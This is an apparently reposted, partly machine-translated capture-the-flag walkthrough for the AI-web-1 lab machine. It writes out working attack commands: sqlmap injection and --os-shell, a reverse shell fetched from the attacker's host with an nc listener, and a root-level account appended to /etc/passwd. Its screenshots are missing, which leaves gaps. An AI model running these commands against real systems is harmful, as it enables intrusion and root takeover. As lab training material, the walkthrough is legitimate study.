AI-web-1 drone recording clearance

Drone Address: 172.16.1.195

Kali Address: 172.16.1.107

1. Information Collection

 

 

 

Port scan:

 

 

 

Directory scan:

 

 

 

Find robots.txt sensitive files, view

 

 

 

Presence / m3diNf0 /, / se3reTdir777 / uploads /.

 

Try to access / m3diNf0 /, you do not have permission. Scan / m3diNf0 / directory

 

 

 

There is info.php file, view

 

 

 

Write down the information, continue to view the first scan out of the directory.

 

View / se3reTdir777 / uploads /, does not have access. After continuing to scan the directory found that only / se3reTdir777 / have access to

 

 

 

Input 1 displayed

 

 

 

2 , vulnerability discovery and exploit

Related sensitive information:

  http://172.16.1.195/se3reTdir777//m3diNf0/info.php

Injection point:

  http://172.16.1.195/se3reTdir777

 

Try SQLmap run at the injection point

sqlmap -u "http://172.16.1.195/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --dbs

 

 

 

  Injection point: uid

  Database Type: MySQL 5.0.12  

  Injection type: Time Blinds

  存在的数据库:[*] aiweb1(当前)  [*] information_schema

  aiweb1库中的表:user systemUser

依次向下:

  爆user表中的字段发现firstNameIdlastName,没有必要继续了

  爆systemUser表的字段,没有出来结果

 

 

  

此时,尝试使用SQLmap--os-shell命令

  os-shell执行条件有三个:

    网站必须是root权限

    网站的绝对路径已知

    GPCoffphp主动转义的功能关闭

执行命令:

sqlmap -u "http://172.16.1.195/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell

依次选择PHPcustom location(s)

根据info.php文件暴露的信息,绝对路径选择:

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

 

 

 

 

  

查看文件权限

 

 

 

 

反弹shell

另开启一个终端,准备php文件,写入一下内容

 

 

 

Kali开启http.server后,os-shell终端下载到靶机

 

 

 

另一个终端监听端口:nc -lnvp 4444

os-shell终端上,php执行上传的php文件

 

 

 

获取到反弹的shell

 

 

 

升级为交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'

3、权限提升

网站用户权限,发现可以读取passwd

 

 

 

尝试增加用户,写入passwd

先对密码进行加密

 

 

 

$1$xp$4UEKxIegpvBEuB59Y0qFZ0

 

写入账号密码:echo 'xp:$1$xp$4UEKxIegpvBEuB59Y0qFZ0/:0:0::/root:/bin/bash'>>/etc/passwd  

  passwd文件规则:

     第一列:账户名称

    第二列:密码占位符(x表示该用户需密码登录,为空表示账户无需密码登录)

    第三列:用户UID

    第四列:GID

     第五列:账户附加基本信息(一般存储账户全名称、联系方式等)

     第六列:账户家目录位置

    第七列:账户登录shell/bin/bash可登录,/sbin/nologin表示账户无法登录系统)

 

 

 

切换用户

 

 

 

提权成功,拿到用户权限

Guess you like

Origin www.cnblogs.com/appear001/p/12091930.html